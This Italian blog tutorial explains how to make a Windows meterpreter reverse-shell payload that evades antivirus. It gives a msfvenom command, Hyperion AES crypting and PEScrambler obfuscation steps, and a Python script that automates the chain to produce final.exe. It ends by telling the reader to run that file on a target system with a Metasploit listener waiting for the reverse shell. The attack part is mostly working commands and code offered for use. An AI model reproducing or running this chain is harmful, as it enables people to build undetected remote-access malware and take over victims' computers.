Leggerai questo articolo in: 4 minuti

Oggi in questo articolo voglio mostrarti come sia semplice per un attaccante creare un exploit che sia in grado di bypassare gli antivirus installati sui nostri pc. In questo articolo oltre a descrivere i vari step per creare un exploit “invisibile” agli antivirus ti fornirò anche un piccolo script python per automatizzare la procedura.

Introduzione
Oggi con tutti gli strumenti che si hanno a disposizione è estremamente semplice per un attaccante (anche alle prime armi) creare un exploit che possa minare significativamente la nostra sicurezza e privacy. Se fino a qualche tempo fa regnava l’ideologia che un antivirus poteva farci dormire tranquilli (niente di più sbagliato), oggi troviamo numerosi programmi e tecniche in continua evoluzione per eluderli. Vediamo insieme un esempio.

Di cosa abbiamo bisogno?

  • Distribuzione Kali Linux
  • Python
  • Veil-Framework/Veil-Evasion scaricabile da qui
  • Applicazione Wine
  • Ambienti virtuali di test (Xp, Vista, Win 8, Win 10)

Gli step
L’idea è quella di creare innanzitutto un eseguibile .exe con un determinato payload utilizzando il Framework Veil

Step 1 – msfvenom
Una volta scaricato tutto l’occorrente procediamo con la creazione del nostro eseguibile attraverso il seguente comando:
msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai LHOST=192.168.1.29 LPORT=6666 -i 3 --platform windows -b '\x00\x0a\xff' > test.exe

Dove in particolare:
-p rappresenta il paylod da utilizzare.
-f rappresenta il formato scelto.
-e rappresenta il tipo di encoding.
-LHOST rappresenta l’indirizzo ip a cui riconnettersi.
-LPORT rappresenta la porta a cui connettersi.
— platform rappresenta la piattaforma target.
-i rappresenta il numero di iterazioni per le quali verrà applicato l’encoding.
-b rappresentano i cosiddetti “bad chars”.
> test.exe è l’output del primo step.

N.B. questo tipo di output (test.exe) sarà riconosciuto correttamente nel 99,9% dei casi dagli antivirus come file malevolo. Nella figura seguente viene riportato il messaggio di una macchina win 8.

Malware rilevato

Malware rilevato

Ciò è dovuto al fatto che l’output di msfvenom crea paylod che hanno una firma ben nota agli antivirus, quindi risulta estremente facile per loro la detection. Vediamo quindi come risolvere questo problema.

Step 2 – hyperion
L’idea è quella di criptare il contenuto del paylod con hyperion. In questo caso il contenuto verrà criptato con AES (algoritmo relativamente facile da crackkare) attraverso questo comando:
cp test.exe /root/Desktop/Veil-Evasion-master/tools/hyperion/
wine hyperion.exe test.exe test_hyperion.exe

Dove in particolare:
La prima parte del comando (cp) copia test.exe nella directory corretta di hyperion.
La seconda parte del comando (wine hyerion.exe) esegue effettivamente l’encryption.
test_hyperion.exe è l’output.

N.B. Ancora una volta l’antivirus rileverà il file come malevolo. Nella figura seguente viene riportato il messaggio di una macchina win 8.

malware rilevato hyperion

malware rilevato hyperion


Vediamo quindi come risolvere questo problema definitivamente.

Step 3 – PEScrumbler
L’idea a questo punto è quella di procedere a tecniche di obfuscation per bypassare definitivamente l’antivirus attraverso questo comando:
cp test_hyperion.exe /root/Desktop/Veil-Evasion-master/tools/pescrambler/
wine PEScrambler.exe -i test_hyperion.exe -o final.exe

Dove in particolare:
La prima parte del comando (cp) copia test_hyperion.exe nella directory corretta di PEScrumbler.
La seconda parte del comando (wine PEScrumbler.exe) esegue effettivamente l’encryption.
final.exe è l’output.

N.B. A questo punto ci siamo, final.exe non verrà più rilevato dall’antivirus. Riassumendo l’idea alla base di questo procedimento è quella di creare un paylod, criptarlo con AES e offuscarlo. A run time quello che accadrà sarà che l’encription AES verrà rapidamente crakkata, partirà un nuovo thread e il codice verrà eseguito. Non ci resta che automatizzare il tutto e testare.

Automatizziamo
A tal proposito ho creato un piccolo script in Python che permette di automatizzare il processo. Di seguito il codice:
import os
#Msfvenom Paylod Settings
payload="windows/meterpreter/reverse_tcp"
format="exe"
encoder="x86/shikata_ga_nai"
lhost="192.168.1.29"
lport="6666"
iterations="3"
platform="windows"
bad_chars= "\\x00\\x0a\\xff"
veil_out_file_name="veil_tmp."+format
#Hyperion Settings
hyperion_path="/root/Desktop/Veil-Evasion-master/tools/hyperion/"
hyperion_out_file_name="hyperion_tmp."+format
#Pescrambler Settings
pescrambler_path="/root/Desktop/Veil-Evasion-master/tools/pescrambler/"
pescrambler_out_file_name="final."+format
#Output Settings
output_path="/root/Desktop/"
print("[*] Loading Settings...")
print("[*] Generating Payload..."+"\n")
os.system("msfvenom -p "+payload+" -f "+format+" -e "+encoder+" LHOST="+lhost+" LPORT="+lport+" -i "+iterations+" --platform "+platform+" -b "+bad_chars+" > "+"/tmp/"+veil_out_file_name)
print("\n")
print("[*] Applying Hyperion AES Encryption..."+"\n")
os.system("cd "+ hyperion_path +" && "+"wine " + "hyperion.exe /tmp/" + veil_out_file_name + " /tmp/" +hyperion_out_file_name)
print("[*] Applying PEScrambler Obfuscation..."+"\n")
os.system("cd "+ pescrambler_path +" && "+"wine " + "PEScrambler.exe -i /tmp/" + hyperion_out_file_name + " -o "+output_path+ pescrambler_out_file_name)
print("\n")
print("[*] Cleaning /tmp/...")
#Clean /tmp/
os.system("rm -rf /tmp/"+veil_out_file_name)
os.system("rm -rf /tmp/"+hyperion_out_file_name)
print("[*] Such Exploit was correctly generated! Great Job!")

Questo script richiede la personalizzazione di alcuni settings e path in particolare:

  • #Msfvenom Paylod Settings – è la sezione dedicata alle impostazioni del paylod da generare.
  • #Hyperion Settings – specifica il path di hyperion e il nome del file di output desiderato.
  • #Pescrambler Settings – specifica il path di PEScrumbler e il nome del file di output desiderato.
  • #Output Settings – specifica il path dove verrà creato il file finale e il suo nome.

Di seguito viene riportata la schermata d’output dello script:

Output veil evasion

Output veil evasion

Testing
Non ci resta che avviare metasploit (o armitage se si preferisce la gui), settare un listener ed eseguire il file final.exe sul sistema target.

Reverse shell

Reverse shell


Et voilà le jeux sont fait 🙂

Come sempre se ti è piaciuto questo articolo, hai qualche dubbio, richiesta o curiosità non esitare a lasciarmi un commento.
Nella speranza di riaverti presto qui ti auguro una splendida giornata!

Non dimenticare di condividere l’articolo su Facebook, Twitter, Google+.